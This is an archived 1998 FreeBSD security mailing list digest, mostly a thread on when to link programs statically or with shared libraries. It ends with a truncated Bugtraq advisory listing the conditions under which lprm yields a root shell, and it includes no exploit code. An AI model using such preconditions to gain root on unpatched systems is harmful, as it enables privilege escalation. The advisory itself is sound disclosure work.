of the message From owner-freebsd-security Wed Apr 22 14:27:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA03117 for freebsd-security-outgoing; Wed, 22 Apr 1998 14:27:18 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA02448 for ; Wed, 22 Apr 1998 21:24:24 GMT (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id QAA05889; Wed, 22 Apr 1998 16:24:19 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804222124.QAA05889@dyson.iquest.net> Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222056.QAA02964@brain.zeus.leitch.com> from "Greg A. Woods" at "Apr 22, 98 04:56:25 pm" To: woods@zeus.leitch.com Date: Wed, 22 Apr 1998 16:24:19 -0500 (EST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > [ On Wed, April 22, 1998 at 22:24:24 (+0200), Mark Murray wrote: ] > > Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) > > > > Is my summary OK? > > If you're looking for a consensus, then no. ;-) > > (in certain circumstances I find any dynamic loading of code, be it > through shared libraries, or run-time loading of .o's, or whatever, to > be highly undesirable, and I think that's effectively what several other > people have concluded too) > Dynamic linking of binaries have both negative CPU usage and memory usage consequences. Shared libs are not always a win. They are especially bad in the case of shells or other programs where there are numerous instances (both dynamic and static.) For WWW servers with CGI's they are bad. For WWW servers with lots of daemon instances, they are bad for the daemon. For FTP servers, the ftpd should not be shared. For mail hubs, the sendmail should not be shared. Basic, simple commands should not be shared, for recovery reasons. The only time that they are an almost guaranteed win is when the libaries are large and complex, like X windows apps. (I am assuming that disk space isn't much of a concern anymore, due to the amazingly low cost of disk space today.) John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 14:29:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA03799 for freebsd-security-outgoing; Wed, 22 Apr 1998 14:29:41 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from sasami.jurai.net (winter@sasami.jurai.net [207.153.65.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA03759 for ; Wed, 22 Apr 1998 21:29:35 GMT (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with SMTP id RAA14936; Wed, 22 Apr 1998 17:29:32 -0400 (EDT) Date: Wed, 22 Apr 1998 17:29:32 -0400 (EDT) From: "Matthew N. Dodd" To: "Greg A. Woods" cc: freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222056.QAA02964@brain.zeus.leitch.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998, Greg A. Woods wrote: > If you're looking for a consensus, then no. ;-) > > (in certain circumstances I find any dynamic loading of code, be it > through shared libraries, or run-time loading of .o's, or whatever, to > be highly undesirable, and I think that's effectively what several other > people have concluded too) Well said. /* Matthew N. Dodd | A memory retaining a love you had for life winter@jurai.net | As cruel as it seems nothing ever seems to http://www.jurai.net/~winter | go right - FLA M 3.1:53 */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 15:15:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA14365 for freebsd-security-outgoing; Wed, 22 Apr 1998 15:15:40 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns.mt.sri.com (sri-gw.MT.net [206.127.105.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA14338 for ; Wed, 22 Apr 1998 22:15:28 GMT (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id QAA18979; Wed, 22 Apr 1998 16:15:19 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id QAA06440; Wed, 22 Apr 1998 16:15:17 -0600 Date: Wed, 22 Apr 1998 16:15:17 -0600 Message-Id: <199804222215.QAA06440@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "John S. Dyson" Cc: woods@zeus.leitch.com, freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222124.QAA05889@dyson.iquest.net> References: <199804222056.QAA02964@brain.zeus.leitch.com> <199804222124.QAA05889@dyson.iquest.net> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > (I am assuming that disk space isn't much of a concern anymore, due to > the amazingly low cost of disk space today.) Except on embedded systems/laptops. :( Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 15:20:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA15370 for freebsd-security-outgoing; Wed, 22 Apr 1998 15:20:16 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA15337 for ; Wed, 22 Apr 1998 22:20:06 GMT (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id RAA06214; Wed, 22 Apr 1998 17:19:52 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804222219.RAA06214@dyson.iquest.net> Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222215.QAA06440@mt.sri.com> from Nate Williams at "Apr 22, 98 04:15:17 pm" To: nate@mt.sri.com (Nate Williams) Date: Wed, 22 Apr 1998 17:19:52 -0500 (EST) Cc: toor@dyson.iquest.net, woods@zeus.leitch.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > > (I am assuming that disk space isn't much of a concern anymore, due to > > the amazingly low cost of disk space today.) > > Except on embedded systems/laptops. :( > I agree. Embedded systems have a more complex set of tradeoffs, where it is possible that memory profile is even more critical. Disk on laptops is often much more expensive. I suggest that our primary platform market is servers, and optimizing for those is useful for reviews (remember the 64MB fiasco???) If we all decide that it is generally good to make binaries shared, we need to make intelligent exceptions. I'll scream terribly loudly if we even passingly consider making a shell shared!!! Shells are almost never advatageously made shared. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 15:26:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA16984 for freebsd-security-outgoing; Wed, 22 Apr 1998 15:26:16 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA16975 for ; Wed, 22 Apr 1998 22:26:11 GMT (envelope-from benedict@echonyc.com) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id SAA20645; Wed, 22 Apr 1998 18:25:52 -0400 (EDT) Date: Wed, 22 Apr 1998 18:25:51 -0400 (EDT) From: Snob Art Genre To: "John S. Dyson" cc: freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222219.RAA06214@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998, John S. Dyson wrote: > I'll scream terribly loudly if we even passingly consider making a > shell shared!!! Shells are almost never advatageously made shared. Then why does our ports system build them incorrectly?! ben% file /usr/local/bin/*sh # I edited the output to remove # irrelevancies /usr/local/bin/ksh: FreeBSD/i386 compact demand paged dynamically linked executable /usr/local/bin/ssh: setuids executable, can't read `/usr/local/bin/ssh' (Permission denied). /usr/local/bin/tclsh: FreeBSD/i386 compact demand paged dynamically linked executable not stripped /usr/local/bin/tcsh: FreeBSD/i386 compact demand paged dynamically linked executable /usr/local/bin/zsh: FreeBSD/i386 compact demand paged dynamically linked executable # . . . ben# file `which ssh` /usr/local/bin/ssh: setuid FreeBSD/i386 compact demand paged dynamically linked executable Ben "You have your mind on computers, it seems." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 15:31:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA18580 for freebsd-security-outgoing; Wed, 22 Apr 1998 15:31:19 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA18516 for ; Wed, 22 Apr 1998 22:31:01 GMT (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.8.8/8.8.5) with ESMTP id PAA01154; Wed, 22 Apr 1998 15:25:57 -0700 (PDT) Message-Id: <199804222225.PAA01154@dingo.cdrom.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: "John S. Dyson" cc: nate@mt.sri.com (Nate Williams), woods@zeus.leitch.com, freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-reply-to: Your message of "Wed, 22 Apr 1998 17:19:52 CDT." <199804222219.RAA06214@dyson.iquest.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 22 Apr 1998 15:25:56 -0700 From: Mike Smith Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > I suggest that our primary platform market is servers, and optimizing > for those is useful for reviews (remember the 64MB fiasco???) If > we all decide that it is generally good to make binaries shared, we > need to make intelligent exceptions. I'll scream terribly loudly > if we even passingly consider making a shell shared!!! Shells > are almost never advatageously made shared. I think this basically says that we need to make shared executables faster. The nuisance component with static binaries is rather high. 8( -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 15:38:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA20823 for freebsd-security-outgoing; Wed, 22 Apr 1998 15:38:28 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA20793 for ; Wed, 22 Apr 1998 22:38:21 GMT (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id RAA06680; Wed, 22 Apr 1998 17:37:40 -0500 (EST) (envelope-from toor) Message-Id: <199804222237.RAA06680@dyson.iquest.net> Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222225.PAA01154@dingo.cdrom.com> from Mike Smith at "Apr 22, 98 03:25:56 pm" To: mike@smith.net.au (Mike Smith) Date: Wed, 22 Apr 1998 17:37:40 -0500 (EST) Cc: nate@mt.sri.com, woods@zeus.leitch.com, freebsd-security@FreeBSD.ORG From: "John S. Dyson" Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Mike Smith said: > > I suggest that our primary platform market is servers, and optimizing > > for those is useful for reviews (remember the 64MB fiasco???) If > > we all decide that it is generally good to make binaries shared, we > > need to make intelligent exceptions. I'll scream terribly loudly > > if we even passingly consider making a shell shared!!! Shells > > are almost never advatageously made shared. > > I think this basically says that we need to make shared executables > faster. The nuisance component with static binaries is rather high. 8( > I have optimized the kernel almost as much as humanly possible, and alot of the overhead is there. Take a look at our performance vs. most other OSen, it is a hard problem to solve. One problem has to do with the number of regions, and the data structures needed to support them. The other intrinsic issue is the locality of reference of the shared images. It is an impossible problem due to the inherent layout challenges. We don't have the sub-page resolution that we would need to pack the shared libs more efficiently. There are ways of improving the shared lib layout issues, but those improvements don't FIX the problem, but make it better. -- John | Never try to teach a pig to sing, dyson@freebsd.org | it just makes you look stupid, jdyson@nc.com | and it irritates the pig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 15:43:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA22305 for freebsd-security-outgoing; Wed, 22 Apr 1998 15:43:33 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns.mt.sri.com (sri-gw.MT.net [206.127.105.141]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA22274 for ; Wed, 22 Apr 1998 22:43:28 GMT (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id QAA19192; Wed, 22 Apr 1998 16:42:54 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id QAA06613; Wed, 22 Apr 1998 16:42:52 -0600 Date: Wed, 22 Apr 1998 16:42:52 -0600 Message-Id: <199804222242.QAA06613@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Mike Smith Cc: "John S. Dyson" , nate@mt.sri.com (Nate Williams), woods@zeus.leitch.com, freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222225.PAA01154@dingo.cdrom.com> References: <199804222219.RAA06214@dyson.iquest.net> <199804222225.PAA01154@dingo.cdrom.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > > I suggest that our primary platform market is servers, and optimizing > > for those is useful for reviews (remember the 64MB fiasco???) If > > we all decide that it is generally good to make binaries shared, we > > need to make intelligent exceptions. I'll scream terribly loudly > > if we even passingly consider making a shell shared!!! Shells > > are almost never advatageously made shared. > > I think this basically says that we need to make shared executables > faster. The nuisance component with static binaries is rather high. 8( If we want truly dynamic libraries on the x86, we're stuck. However, we could go down the road BSDi took, and make the libraries sort-of shared, but it's a pain in the butt. (If you've ever dealt with the shlib scheme you'd agree. :( ) I for one don't think static binaries are a nuisance at all. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 16:02:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA26165 for freebsd-security-outgoing; Wed, 22 Apr 1998 16:02:06 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA26009 for ; Wed, 22 Apr 1998 23:01:53 GMT (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id SAA06796; Wed, 22 Apr 1998 18:01:46 -0500 (EST) (envelope-from toor) Message-Id: <199804222301.SAA06796@dyson.iquest.net> Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: from Snob Art Genre at "Apr 22, 98 06:25:51 pm" To: benedict@echonyc.com (Snob Art Genre) Date: Wed, 22 Apr 1998 18:01:46 -0500 (EST) Cc: freebsd-security@FreeBSD.ORG From: "John S. Dyson" Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Snob Art Genre said: > On Wed, 22 Apr 1998, John S. Dyson wrote: > > > I'll scream terribly loudly if we even passingly consider making a > > shell shared!!! Shells are almost never advatageously made shared. > > Then why does our ports system build them incorrectly?! > Because I don't mess with the ports, and haven't done a very good job of making the above fact known. For maintenence, memory and speed reasons, one can seldom justify a shared shell. BTW, I use the ports extensively, but I tend to build and port the shells myself, probably for the issue that we are discussing. I haven't been watching this discussion carefully, but here are the costs of shared libs: fork() performance is slower. exec() performance is effectively slower (due to ld.so.) data and shared lib bss is packed much less effectively, and locality of reference, both at the sub-page level, and the page level is worse. Shared libs often require additional page table pages to map them. Here are the non-advantages: Shared libs don't help .text sharing, if a process has more than a few static occurances (shared .text works really well on our system.) Here are the advantages: Shared libs are great for processes where the libraries are large relative to the program size. Shared libs are great for processes that don't have many static or dynamic instances. My suggestions for programs that should probably not be linked shared under any circumstances: Make, cp, cat, ls, *sh, cc, daemons that fork, .... mail readers, any (small) program invoked by make, or repeatedly invoked by shell scripts. If the shared libs are on /usr, any program that needs to be able to work without /usr mounted. Programs where it is likely slightly advantageous to link shared: cc1, cc1plus, cpp, as, *roff, daemons that don't fork often, any X windows program (including those in any category), specialty programs that aren't used often... Programs where it is probably a toss-up: vi, *grep, other programs that don't fit the above criteria. Most of /usr/local, except for forking daemons. Reiterating, with clarification: More than 3-4 copies running at the same time: static Forks like a shell: static Must be able to run without shared libs: static If library CPU performance is critical: static Executes for a "long time", and doesn't fork often: shared Huge libraries: shared Not often used: shared -- John | Never try to teach a pig to sing, dyson@freebsd.org | it just makes you look stupid, jdyson@nc.com | and it irritates the pig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 16:10:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA27747 for freebsd-security-outgoing; Wed, 22 Apr 1998 16:10:28 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA27656; Wed, 22 Apr 1998 23:10:12 GMT (envelope-from benedict@echonyc.com) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id TAA01891; Wed, 22 Apr 1998 19:10:11 -0400 (EDT) Date: Wed, 22 Apr 1998 19:10:10 -0400 (EDT) From: Snob Art Genre To: "John S. Dyson" cc: freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804222301.SAA06796@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998, John S. Dyson wrote: > Because I don't mess with the ports, and haven't done a very good > job of making the above fact known. For maintenence, memory and > speed reasons, one can seldom justify a shared shell. I wouldn't mind forwarding this exchange to the various ports maintainers, if that's okay with you. > My suggestions for programs that should probably not be linked shared > under any circumstances: > Make, cp, cat, ls, *sh, cc, daemons that fork, .... > mail readers, any (small) program invoked by make, or > repeatedly invoked by shell scripts. If the shared > libs are on /usr, any program that needs to be > able to work without /usr mounted. Gweep. Inetd is dynamically linked. So are fingerd and ftpd. Again, would you have any objection to my contacting the various maintainers, and referring them to you if they have questions I can't answer? Or would it be better if I pointed them to freebsd-hackers? > Programs where it is likely slightly advantageous to link shared: > cc1, cc1plus, cpp, as, *roff, daemons that don't > fork often, any X windows program (including those in any > category), specialty programs that aren't used often... So my window manager should be linked shared, even though I believe it forks quite a bit? Thanks for all this info, this has been enlightening, to say the least. Ben "You have your mind on computers, it seems." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 16:42:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA03318 for freebsd-security-outgoing; Wed, 22 Apr 1998 16:42:17 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA03266; Wed, 22 Apr 1998 23:41:48 GMT (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id SAA06998; Wed, 22 Apr 1998 18:41:41 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804222341.SAA06998@dyson.iquest.net> Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: from Snob Art Genre at "Apr 22, 98 07:10:10 pm" To: benedict@echonyc.com (Snob Art Genre) Date: Wed, 22 Apr 1998 18:41:41 -0500 (EST) Cc: dyson@FreeBSD.ORG, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > On Wed, 22 Apr 1998, John S. Dyson wrote: > > > Because I don't mess with the ports, and haven't done a very good > > job of making the above fact known. For maintenence, memory and > > speed reasons, one can seldom justify a shared shell. > > I wouldn't mind forwarding this exchange to the various ports > maintainers, if that's okay with you. > Sure!!! :-). > > My suggestions for programs that should probably not be linked shared > > under any circumstances: > > Make, cp, cat, ls, *sh, cc, daemons that fork, .... > > mail readers, any (small) program invoked by make, or > > repeatedly invoked by shell scripts. If the shared > > libs are on /usr, any program that needs to be > > able to work without /usr mounted. > > Gweep. Inetd is dynamically linked. So are fingerd and ftpd. Again, > would you have any objection to my contacting the various maintainers, > and referring them to you if they have questions I can't answer? Or > would it be better if I pointed them to freebsd-hackers? > Point them here. This should be an issue of common-knowledge. Feel free to suggest talking to me, as needed. > > > Programs where it is likely slightly advantageous to link shared: > > cc1, cc1plus, cpp, as, *roff, daemons that don't > > fork often, any X windows program (including those in any > > category), specialty programs that aren't used often... > > So my window manager should be linked shared, even though I believe it > forks quite a bit? > That is a difficult decision. I suggest that it is likely best shared. X libraries are generally so huge that the sharing overcomes the disadvantages. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 17:50:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA22307 for freebsd-security-outgoing; Wed, 22 Apr 1998 17:50:31 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA22242; Thu, 23 Apr 1998 00:50:09 GMT (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id RAA15843; Wed, 22 Apr 1998 17:48:35 -0700 (PDT) Message-Id: <199804230048.RAA15843@implode.root.com> To: dyson@FreeBSD.ORG cc: benedict@echonyc.com (Snob Art Genre), freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-reply-to: Your message of "Wed, 22 Apr 1998 18:01:46 CDT." <199804222301.SAA06796@dyson.iquest.net> From: David Greenman Reply-To: dg@root.com Date: Wed, 22 Apr 1998 17:48:35 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk >Programs where it is likely slightly advantageous to link shared: > cc1, cc1plus We found that compile times increased 10% when cc1 was compiled shared, so that would not be a good candidate. -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 18:10:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA27202 for freebsd-security-outgoing; Wed, 22 Apr 1998 18:10:53 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA27159; Thu, 23 Apr 1998 01:10:22 GMT (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id UAA07669; Wed, 22 Apr 1998 20:10:06 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804230110.UAA07669@dyson.iquest.net> Subject: Re: Static vs. dynamic linking (was Re: Using MD5 insted of DES ...) In-Reply-To: <199804230048.RAA15843@implode.root.com> from David Greenman at "Apr 22, 98 05:48:35 pm" To: dg@root.com Date: Wed, 22 Apr 1998 20:10:06 -0500 (EST) Cc: dyson@FreeBSD.ORG, benedict@echonyc.com, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > >Programs where it is likely slightly advantageous to link shared: > > cc1, cc1plus > > We found that compile times increased 10% when cc1 was compiled shared, so > that would not be a good candidate. > I meant with shared libs. Correction to my statements: when I said "linked shared", I meant "linked with shared libs". Linking CC1 and CC1PLUS "shared" would be terrible. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 19:18:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA08573 for freebsd-security-outgoing; Wed, 22 Apr 1998 19:18:23 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-30.waterford.indigo.ie [194.125.139.93]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA08368 for ; Thu, 23 Apr 1998 02:17:54 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id DAA04061; Thu, 23 Apr 1998 03:16:06 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804230216.DAA04061@indigo.ie> Date: Thu, 23 Apr 1998 03:16:06 +0000 Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: bugtraq@netspace.org Subject: Vulnerability in OpenBSD, FreeBSD-stable lprm. Cc: deraadt@openbsd.org, freebsd-security@FreeBSD.ORG, imp@village.org Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 19:36:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA11177 for freebsd-security-outgoing; Wed, 22 Apr 1998 19:36:08 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-30.waterford.indigo.ie [194.125.139.93]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA11121 for ; Thu, 23 Apr 1998 02:35:43 GMT (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id DAA04123; Thu, 23 Apr 1998 03:33:39 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804230233.DAA04123@indigo.ie> Date: Thu, 23 Apr 1998 03:33:39 +0000 Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: BUGTRAQ@NETSPACE.ORG Subject: Vulnerability in OpenBSD, FreeBSD-stable lprm. Cc: deraadt@openbsd.org, imp@village.org, freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Synopsis -------- lprm in OpenBSD and FreeBSD-stable gives a root shell under the following conditions: * You have a remote printer configured in /etc/printcap. (i.e. a printer with a non-null "rm" capability.) * The length of the attacker's username plus the length of the "rp" capability for the remote printer is >= 7. If there is no explicit "rp" capability specified then the system will use the default, which has length 2, meaning that the attacker's username must be >= 5 characters long in this case. * The hostname of the remote printer (i.e. the "rm" capability) resolves, and neither the canonical name returned for the host nor any of its aliases match the local hostname. (i.e. it will not work if the "rm" capability points back at the local machine, which would be indicative of misconfiguration anyway) Notes ----- * It is not strictly necessary for the lpd daemon to be running on the remote or local host for the exploit to work. * This vulnerability is not present in FreeBSD-current or NetBSD-current. * Patches to fix this vulnerability have been applied to the OpenBSD and FreeBSD-stable source tree's in the last few hours. Obtain the latest version of the file: /src/usr.sbin/lpr/common_source/rmjob.c and 